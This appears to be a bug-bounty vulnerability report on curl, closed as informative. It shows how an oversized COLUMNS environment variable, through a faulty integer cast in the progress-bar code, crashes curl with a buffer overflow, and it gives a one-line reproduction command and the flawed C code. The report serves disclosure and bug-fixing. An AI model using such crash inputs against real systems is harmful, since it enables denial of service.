huge COLUMNS causes progress-bar to buffer overflow
Low
C
curl
Submitted None
Actions:
Reported by
pendrek
Vulnerability Details
Technical details and impact analysis
## Summary:
If an attacker can set environmental variables, curl will always crash with a buffer overflow when downloading a file – if the `--progress-bar` argument is set.
## Steps To Reproduce:
Just run the following command on a **64-bit Linux** system (verified on Ubuntu 19.04).
```bash
# Of course you can set the COLUMNS variable in your `.profile` configuration file instead...
env COLUMNS="9223372032559808515" curl "http://hubblesource.stsci.edu/sources/video/clips/details/images/hale_bopp_2.mpg" -o "./test.mpg"
```
**Output**
```
23,0%*** buffer overfow detected ***: curl terminated
Aborted (core dumped)
```
**Explanation of the bug**
The `progress-bar` feature parses the `COLUMNS` environment variable. The source code aims to guarantee this value to be above 20. However, on Linux systems this check fails due to a faulty integer cast in `tool_cb_prg.c`:
```c
colp = curlx_getenv("COLUMNS");
if(colp) {
char *endptr;
long num = strtol(colp, &endptr, 10);
// Our value of 9223372032559808515 will be OK!
if((endptr != colp) && (endptr == colp + strlen(colp)) && (num > 20))
// BUG! Back to int... 9223372032559808515 becomes 3.
bar->width = (int)num;
```
Then on **line 181** we have the buffer overflow:
```c
barwidth = bar->width - 7; // HERE we get 3-7 resulting in...
num = (int) (((double)barwidth) * frac);
if(num > MAX_BARLENGTH)
num = MAX_BARLENGTH;
memset(line, '#', num); // .... a crazy high value here!
```
## Impact
**If** a server runs `curl` with the `--progress-bar` argument set **and** (intentionally or unintentionally) allows an attacker to set environmental variables, the server could easily become a victim of a DoS attack.
Report Details
Additional information and metadata
State
Closed
Substate
Informative
Submitted
Weakness
Classic Buffer Overflow